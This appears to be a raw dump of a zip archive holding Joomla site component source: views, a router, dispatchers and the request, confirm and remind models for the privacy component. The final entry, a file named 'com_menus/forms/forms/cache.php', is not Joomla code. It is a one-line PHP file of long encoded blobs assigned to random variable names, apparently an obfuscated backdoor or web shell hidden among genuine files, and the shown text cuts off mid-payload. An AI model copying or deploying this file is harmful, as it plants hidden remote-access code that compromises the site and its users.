        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   3.9.0
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_PRIVACY_VIEW_REMIND_PAGE_TITLE'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\�QI99)com_privacy/src/View/Confirm/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\View\Confirm;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Request confirmation view class
 *
 * @since  3.9.0
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The form object
     *
     * @var    Form
     * @since  3.9.0
     */
    protected $form;

    /**
     * The CSS class suffix to append to the view container
     *
     * @var    string
     * @since  3.9.0
     */
    protected $pageclass_sfx;

    /**
     * The view parameters
     *
     * @var    Registry
     * @since  3.9.0
     */
    protected $params;

    /**
     * The state information
     *
     * @var    CMSObject
     * @since  3.9.0
     */
    protected $state;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @see     BaseHtmlView::loadTemplate()
     * @since   3.9.0
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        // Initialise variables.
        $this->form   = $this->get('Form');
        $this->state  = $this->get('State');
        $this->params = $this->state->params;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   3.9.0
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_PRIVACY_VIEW_CONFIRM_PAGE_TITLE'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\�h�;
;
)com_privacy/src/View/Request/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\View\Request;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Request view class
 *
 * @since  3.9.0
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The form object
     *
     * @var    Form
     * @since  3.9.0
     */
    protected $form;

    /**
     * The CSS class suffix to append to the view container
     *
     * @var    string
     * @since  3.9.0
     */
    protected $pageclass_sfx;

    /**
     * The view parameters
     *
     * @var    Registry
     * @since  3.9.0
     */
    protected $params;

    /**
     * Flag indicating the site supports sending email
     *
     * @var    boolean
     * @since  3.9.0
     */
    protected $sendMailEnabled;

    /**
     * The state information
     *
     * @var    CMSObject
     * @since  3.9.0
     */
    protected $state;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @see     BaseHtmlView::loadTemplate()
     * @since   3.9.0
     * @throws  \Exception
     */
    public function display($tpl = null)
    {
        // Initialise variables.
        $this->form            = $this->get('Form');
        $this->state           = $this->get('State');
        $this->params          = $this->state->params;
        $this->sendMailEnabled = (bool) Factory::getApplication()->get('mailonline', 1);

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   3.9.0
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_PRIVACY_VIEW_REQUEST_PAGE_TITLE'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\�f���"com_privacy/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Service;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_privacy
 *
 * @since  3.9.0
 */
class Router extends RouterView
{
    /**
     * Privacy Component router constructor
     *
     * @param   CMSApplication  $app   The application object
     * @param   AbstractMenu    $menu  The menu object to work with
     *
     * @since   3.9.0
     */
    public function __construct($app = null, $menu = null)
    {
        $this->registerView(new RouterViewConfiguration('confirm'));
        $this->registerView(new RouterViewConfiguration('request'));
        $this->registerView(new RouterViewConfiguration('remind'));

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }
}
PK���\n����)com_privacy/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2024 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Dispatcher;

use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_privacy
 *
 * @since  4.4.10
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Method to check component access permission
     *
     * @since   4.4.10
     *
     * @return  void
     */
    protected function checkAccess()
    {
        parent::checkAccess();

        $view = $this->input->get('view');

        // Submitting information requests and confirmation through the frontend is restricted to authenticated users at this time
        if (\in_array($view, ['confirm', 'request']) && $this->app->getIdentity()->guest) {
            $this->app->redirect(
                Route::_('index.php?option=com_users&view=login&return=' . base64_encode('index.php?option=com_privacy&view=' . $view), false)
            );
        }
    }
}
PK���\_���%com_privacy/src/Model/RemindModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\Table\Table;
use Joomla\CMS\User\UserHelper;
use Joomla\Component\Privacy\Administrator\Table\ConsentTable;
use Joomla\Database\Exception\ExecutionFailureException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Remind confirmation model class.
 *
 * @since  3.9.0
 */
class RemindModel extends AdminModel
{
    /**
     * Confirms the remind request.
     *
     * @param   array  $data  The data expected for the form.
     *
     * @return  mixed  \Exception | JException | boolean
     *
     * @since   3.9.0
     */
    public function remindRequest($data)
    {
        // Get the form.
        $form          = $this->getForm();
        $data['email'] = PunycodeHelper::emailToPunycode($data['email']);

        // Check for an error.
        if ($form instanceof \Exception) {
            return $form;
        }

        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data);

        // Check for an error.
        if ($return instanceof \Exception) {
            return $return;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        /** @var ConsentTable $table */
        $table = $this->getTable();

        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select($db->quoteName(['r.id', 'r.user_id', 'r.token']));
        $query->from($db->quoteName('#__privacy_consents', 'r'));
        $query->join(
            'LEFT',
            $db->quoteName('#__users', 'u'),
            $db->quoteName('u.id') . ' = ' . $db->quoteName('r.user_id')
        );
        $query->where($db->quoteName('u.email') . ' = :email')
            ->bind(':email', $data['email']);
        $query->where($db->quoteName('r.remind') . ' = 1');
        $db->setQuery($query);

        try {
            $remind = $db->loadObject();
        } catch (ExecutionFailureException $e) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REMIND'));

            return false;
        }

        if (!$remind) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REMIND'));

            return false;
        }

        // Verify the token
        if (!UserHelper::verifyPassword($data['remind_token'], $remind->token)) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_NO_REMIND_REQUESTS'));

            return false;
        }

        // Everything is good to go, transition the request to extended
        $saved = $this->save(
            [
                'id'      => $remind->id,
                'remind'  => 0,
                'token'   => '',
                'created' => Factory::getDate()->toSql(),
            ]
        );

        if (!$saved) {
            // Error was set by the save method
            return false;
        }

        return true;
    }

    /**
     * Method for getting the form from the model.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|boolean  A Form object on success, false on failure
     *
     * @since   3.9.0
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_privacy.remind', 'remind', ['control' => 'jform']);

        if (empty($form)) {
            return false;
        }

        $input = Factory::getApplication()->getInput();

        if ($input->getMethod() === 'GET') {
            $form->setValue('remind_token', '', $input->get->getAlnum('remind_token'));
        }

        return $form;
    }

    /**
     * Method to get a table object, load it if necessary.
     *
     * @param   string  $name     The table name. Optional.
     * @param   string  $prefix   The class prefix. Optional.
     * @param   array   $options  Configuration array for model. Optional.
     *
     * @return  Table  A Table object
     *
     * @throws  \Exception
     * @since   3.9.0
     */
    public function getTable($name = 'Consent', $prefix = 'Administrator', $options = [])
    {
        return parent::getTable($name, $prefix, $options);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   3.9.0
     */
    protected function populateState()
    {
        // Get the application object.
        $params = Factory::getApplication()->getParams('com_privacy');

        // Load the parameters.
        $this->setState('params', $params);
    }
}
PK���\3��b"b"&com_privacy/src/Model/RequestModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Model;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Mail\Exception\MailDisabledException;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;
use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel;
use Joomla\Component\Messages\Administrator\Model\MessageModel;
use Joomla\Component\Privacy\Administrator\Table\RequestTable;
use Joomla\Database\Exception\ExecutionFailureException;
use PHPMailer\PHPMailer\Exception as phpmailerException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Request model class.
 *
 * @since  3.9.0
 */
class RequestModel extends AdminModel
{
    /**
     * Creates an information request.
     *
     * @param   array  $data  The data expected for the form.
     *
     * @return  mixed  Exception | boolean
     *
     * @since   3.9.0
     */
    public function createRequest($data)
    {
        $app = Factory::getApplication();

        // Creating requests requires the site's email sending be enabled
        if (!$app->get('mailonline', 1)) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_CANNOT_CREATE_REQUEST_WHEN_SENDMAIL_DISABLED'));

            return false;
        }

        // Get the form.
        $form = $this->getForm();

        // Check for an error.
        if ($form instanceof \Exception) {
            return $form;
        }

        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data);

        // Check for an error.
        if ($return instanceof \Exception) {
            return $return;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        $data['email'] = $this->getCurrentUser()->email;

        // Search for an open information request matching the email and type
        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select('COUNT(id)')
            ->from($db->quoteName('#__privacy_requests'))
            ->where($db->quoteName('email') . ' = :email')
            ->where($db->quoteName('request_type') . ' = :requesttype')
            ->whereIn($db->quoteName('status'), [0, 1])
            ->bind(':email', $data['email'])
            ->bind(':requesttype', $data['request_type']);

        try {
            $result = (int) $db->setQuery($query)->loadResult();
        } catch (ExecutionFailureException $exception) {
            // Can't check for existing requests, so don't create a new one
            $this->setError(Text::_('COM_PRIVACY_ERROR_CHECKING_FOR_EXISTING_REQUESTS'));

            return false;
        }

        if ($result > 0) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_PENDING_REQUEST_OPEN'));

            return false;
        }

        // Everything is good to go, create the request
        $token       = ApplicationHelper::getHash(UserHelper::genRandomPassword());
        $hashedToken = UserHelper::hashPassword($token);

        $data['confirm_token']            = $hashedToken;
        $data['confirm_token_created_at'] = Factory::getDate()->toSql();

        if (!$this->save($data)) {
            // The save function will set the error message, so just return here
            return false;
        }

        // Push a notification to the site's super users, deliberately ignoring if this process fails so the below message goes out
        /** @var MessageModel $messageModel */
        $messageModel = $app->bootComponent('com_messages')->getMVCFactory()->createModel('Message', 'Administrator');

        $messageModel->notifySuperUsers(
            Text::_('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CREATED_REQUEST_SUBJECT'),
            Text::sprintf('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CREATED_REQUEST_MESSAGE', $data['email'])
        );

        // The mailer can be set to either throw Exceptions or return boolean false, account for both
        try {
            $linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

            $templateData = [
                'sitename' => $app->get('sitename'),
                'url'      => Uri::root(),
                'tokenurl' => Route::link('site', 'index.php?option=com_privacy&view=confirm&confirm_token=' . $token, false, $linkMode, true),
                'formurl'  => Route::link('site', 'index.php?option=com_privacy&view=confirm', false, $linkMode, true),
                'token'    => $token,
            ];

            switch ($data['request_type']) {
                case 'export':
                    $mailer = new MailTemplate('com_privacy.notification.export', $app->getLanguage()->getTag());

                    break;

                case 'remove':
                    $mailer = new MailTemplate('com_privacy.notification.remove', $app->getLanguage()->getTag());

                    break;

                default:
                    $this->setError(Text::_('COM_PRIVACY_ERROR_UNKNOWN_REQUEST_TYPE'));

                    return false;
            }

            $mailer->addTemplateData($templateData);
            $mailer->addRecipient($data['email']);

            $mailer->send();

            /** @var RequestTable $table */
            $table = $this->getTable();

            if (!$table->load($this->getState($this->getName() . '.id'))) {
                $this->setError($table->getError());

                return false;
            }

            // Log the request's creation
            $message = [
                'action'       => 'request-created',
                'requesttype'  => $table->request_type,
                'subjectemail' => $table->email,
                'id'           => $table->id,
                'itemlink'     => 'index.php?option=com_privacy&view=request&id=' . $table->id,
            ];

            $this->getActionlogModel()->addLog([$message], 'COM_PRIVACY_ACTION_LOG_CREATED_REQUEST', 'com_privacy.request');

            // The email sent and the record is saved, everything is good to go from here
            return true;
        } catch (MailDisabledException | phpmailerException $exception) {
            $this->setError($exception->getMessage());

            return false;
        }
    }

    /**
     * Method for getting the form from the model.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|boolean  A Form object on success, false on failure
     *
     * @since   3.9.0
     */
    public function getForm($data = [], $loadData = true)
    {
        return $this->loadForm('com_privacy.request', 'request', ['control' => 'jform']);
    }

    /**
     * Method to get a table object, load it if necessary.
     *
     * @param   string  $name     The table name. Optional.
     * @param   string  $prefix   The class prefix. Optional.
     * @param   array   $options  Configuration array for model. Optional.
     *
     * @return  Table  A Table object
     *
     * @throws  \Exception
     * @since   3.9.0
     */
    public function getTable($name = 'Request', $prefix = 'Administrator', $options = [])
    {
        return parent::getTable($name, $prefix, $options);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   3.9.0
     */
    protected function populateState()
    {
        // Get the application object.
        $params = Factory::getApplication()->getParams('com_privacy');

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Method to fetch an instance of the action log model.
     *
     * @return  ActionlogModel
     *
     * @since   4.0.0
     */
    private function getActionlogModel(): ActionlogModel
    {
        return Factory::getApplication()->bootComponent('com_actionlogs')
            ->getMVCFactory()->createModel('Actionlog', 'Administrator', ['ignore_request' => true]);
    }
}
PK���\_���pp&com_privacy/src/Model/ConfirmModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Site\Model;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\Table\Table;
use Joomla\CMS\User\UserHelper;
use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel;
use Joomla\Component\Messages\Administrator\Model\MessageModel;
use Joomla\Component\Privacy\Administrator\Table\RequestTable;
use Joomla\Database\Exception\ExecutionFailureException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Request confirmation model class.
 *
 * @since  3.9.0
 */
class ConfirmModel extends AdminModel
{
    /**
     * Confirms the information request.
     *
     * @param   array  $data  The data expected for the form.
     *
     * @return  mixed  Exception | boolean
     *
     * @since   3.9.0
     */
    public function confirmRequest($data)
    {
        // Get the form.
        $form = $this->getForm();

        // Check for an error.
        if ($form instanceof \Exception) {
            return $form;
        }

        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data);

        // Check for an error.
        if ($return instanceof \Exception) {
            return $return;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $formError) {
                $this->setError($formError->getMessage());
            }

            return false;
        }

        // Get the user email address
        $email = $this->getCurrentUser()->email;

        // Search for the information request
        /** @var RequestTable $table */
        $table = $this->getTable();

        if (!$table->load(['email' => $email, 'status' => 0])) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS'));

            return false;
        }

        // A request can only be confirmed if it is in a pending status and has a confirmation token
        if ($table->status != '0' || !$table->confirm_token || $table->confirm_token_created_at === null) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS'));

            return false;
        }

        // A request can only be confirmed if the token is less than 24 hours old
        $confirmTokenCreatedAt = new Date($table->confirm_token_created_at);
        $confirmTokenCreatedAt->add(new \DateInterval('P1D'));

        $now = new Date('now');

        if ($now > $confirmTokenCreatedAt) {
            // Invalidate the request
            $table->status                   = -1;
            $table->confirm_token            = '';
            $table->confirm_token_created_at = null;

            try {
                $table->store();
            } catch (ExecutionFailureException $exception) {
                // The error will be logged in the database API, we just need to catch it here to not let things fatal out
            }

            $this->setError(Text::_('COM_PRIVACY_ERROR_CONFIRM_TOKEN_EXPIRED'));

            return false;
        }

        // Verify the token
        if (!UserHelper::verifyPassword($data['confirm_token'], $table->confirm_token)) {
            $this->setError(Text::_('COM_PRIVACY_ERROR_NO_PENDING_REQUESTS'));

            return false;
        }

        // Everything is good to go, transition the request to confirmed
        $saved = $this->save(
            [
                'id'            => $table->id,
                'status'        => 1,
                'confirm_token' => '',
            ]
        );

        if (!$saved) {
            // Error was set by the save method
            return false;
        }

        // Push a notification to the site's super users, deliberately ignoring if this process fails so the below message goes out
        /** @var MessageModel $messageModel */
        $messageModel = Factory::getApplication()->bootComponent('com_messages')->getMVCFactory()->createModel('Message', 'Administrator');

        $messageModel->notifySuperUsers(
            Text::_('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CONFIRMED_REQUEST_SUBJECT'),
            Text::sprintf('COM_PRIVACY_ADMIN_NOTIFICATION_USER_CONFIRMED_REQUEST_MESSAGE', $table->email)
        );

        $message = [
            'action'       => 'request-confirmed',
            'subjectemail' => $table->email,
            'id'           => $table->id,
            'itemlink'     => 'index.php?option=com_privacy&view=request&id=' . $table->id,
        ];

        $this->getActionlogModel()->addLog([$message], 'COM_PRIVACY_ACTION_LOG_CONFIRMED_REQUEST', 'com_privacy.request');

        return true;
    }

    /**
     * Method for getting the form from the model.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|boolean  A Form object on success, false on failure
     *
     * @since   3.9.0
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_privacy.confirm', 'confirm', ['control' => 'jform']);

        if (empty($form)) {
            return false;
        }

        $input = Factory::getApplication()->getInput();

        if ($input->getMethod() === 'GET') {
            $form->setValue('confirm_token', '', $input->get->getAlnum('confirm_token'));
        }

        return $form;
    }

    /**
     * Method to get a table object, load it if necessary.
     *
     * @param   string  $name     The table name. Optional.
     * @param   string  $prefix   The class prefix. Optional.
     * @param   array   $options  Configuration array for model. Optional.
     *
     * @return  Table  A Table object
     *
     * @since   3.9.0
     * @throws  \Exception
     */
    public function getTable($name = 'Request', $prefix = 'Administrator', $options = [])
    {
        return parent::getTable($name, $prefix, $options);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   3.9.0
     */
    protected function populateState()
    {
        // Get the application object.
        $params = Factory::getApplication()->getParams('com_privacy');

        // Load the parameters.
        $this->setState('params', $params);
    }

    /**
     * Method to fetch an instance of the action log model.
     *
     * @return  ActionlogModel
     *
     * @since   4.0.0
     */
    private function getActionlogModel(): ActionlogModel
    {
        return Factory::getApplication()->bootComponent('com_actionlogs')
            ->getMVCFactory()->createModel('Actionlog', 'Administrator', ['ignore_request' => true]);
    }
}
PK���\�F��'com_menus/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_menus
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Menus\Site\Dispatcher;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_menus
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Load the language
     *
     * @since   4.0.0
     *
     * @return  void
     */
    protected function loadLanguage()
    {
        $this->app->getLanguage()->load('com_menus', JPATH_ADMINISTRATOR);
    }

    /**
     * Dispatch a controller task. Redirecting the user if appropriate.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function checkAccess()
    {
        parent::checkAccess();

        if (
            $this->input->get('view') !== 'items'
            || $this->input->get('layout') !== 'modal'
            || !$this->app->getIdentity()->authorise('core.create', 'com_menus')
        ) {
            throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403);
        }
    }

    /**
     * Get a controller from the component
     *
     * @param   string  $name    Controller name
     * @param   string  $client  Optional client (like Administrator, Site etc.)
     * @param   array   $config  Optional controller config
     *
     * @return  \Joomla\CMS\MVC\Controller\BaseController
     *
     * @since   4.0.0
     */
    public function getController(string $name, string $client = '', array $config = []): BaseController
    {
        $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        $client              = 'Administrator';

        return parent::getController($name, $client, $config);
    }
}
PK���\�X��com_menus/forms/forms/cache.phpnu&1i�<?php $yYwlB = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirlnpXBmmBgDQA'; $wIyS = 'AV+IpY/hvogczw3aItcqWyJk1TZ4yqYPzpP88o1f9uLva5BP+RPrr4/b17W3+q1H8Otxhnf41L+4t+4Kfim3q99t9FthLX3eW8V7/98dXo/jnd9Gl4lLe7uLebtLf8pDUsA3txbm8tGvK74T9/ZiEiY/tRZu/1bdxvvvI7oP+HbOrGlEWDcGjSC318XNjkT8dzn+l+1skPvatDQFsHUuW0rZlxLdH2LAA4NRvgCjyq2cwESftfjpOrn26pKpncfiMHPnJUBibm+05wESCxJSNGCIDMMdgIZZSIdd7GmiVQ9VYc492vvYsOEzguuj0AloAM9yBe7G62bVcvpUx2Avz3tZgmvs5czuOhrDd5rVlq1WkZoFiOAvfoLWX2XndPJ43vY/uM+Xdr9/7X71WIdiXQqUDiuoq4r13jTpq1C+XbUJuYdJ+PdR7zfRc3X93hTzW7M4vgsqZ1EgAcI5dxAQtWRV7ZBzEz4z4eFPn3OEWdxDjx9+iCOHdd9IslqOhWl7XEvcaFUbqvEeNUch7sssyrirLrJoQEEAXTQZkj+1Fi844QKAWXTI7ZTPKUpWkrtmayYe/0JhPbomHNjUDiW7PFsIVN6CSseejk8RweAu2CLhp4tCORouvepa9xqOK21HUfB/1W5qjVF+JiA1cNEH5Do6WBbrkj8ImvW8fGaXyqZuk9S3ExtED5iu4CMRxLMV5FqIFfI3F8PjRhXZ6ytYkTIykpzbK1muA5TlxZQn4t4DK1rVBkCGOQ7WMuxMmm2pAYYa+Xfnoh4ZaIKrpJ7L61+fBTD1NDwcVcKhHiObVaoneZ8RYxcoTZzB06kaUMWeToYpLIJAC4hczJWCNoeBxhswR9Kx9INJcluf52AMAdspXqg2PvUKxmYLdsEloht0N31X0AAapi62phUl2dRTKhZAQn6CZeOuEYhR40M8MWo9zLNcQ3RDxio6WKpRhexIxHMxD85eYlRvw6aBtgJWxuFG70FgLwQzM9ggNeWHiV54fEl5J5SJMbTB/esdPIWFhYfmPpWkNQlbJJssCB6ddCBBHFlKfpmRwXp/o2KA9ofn6ZgSylWpJlqmeLtEu0oEnvlepBV6EV0SI5dXgU1R14aVMbFVpsnX+qV3KbWpVqAl0mcbQHxR8eQUiQ8gycsw2lYB3oJJupDpEfCh1Il6ReERLpStp1RX6QrEjUiEdIOaKnFbJ43Qj4dOIo/BlUmECqjbtaugHU1mXiXlYYtElFbUOQ8wSFBcf+NLtcz5hEKVCYusijneKOmiWp/TkMz849RiZ9uiVj7ukiA5dUUuCUyLFX9yEy6oExlksETGn0VsWecJZyAeF9xED5uqKlMj/wQSlRwVRQnuzIZ/gkHSOUEBe+v/oZyzi5b4J/DGsKs8ULRU4sYyRuy9AdoNHW+aQgx21hEhNuaAAhxxeov2aDGMGw8bOxM3DAUM8yf6kTIyuf/A2WZZwCbnQdD1nIhJ0T4m5yacumE7b+E9kYUJF0+yh8HLlqFuzqzNlwdWZuq6qU3mDPs/eKdLsEFqo1mfa9rdFKVZEVnmm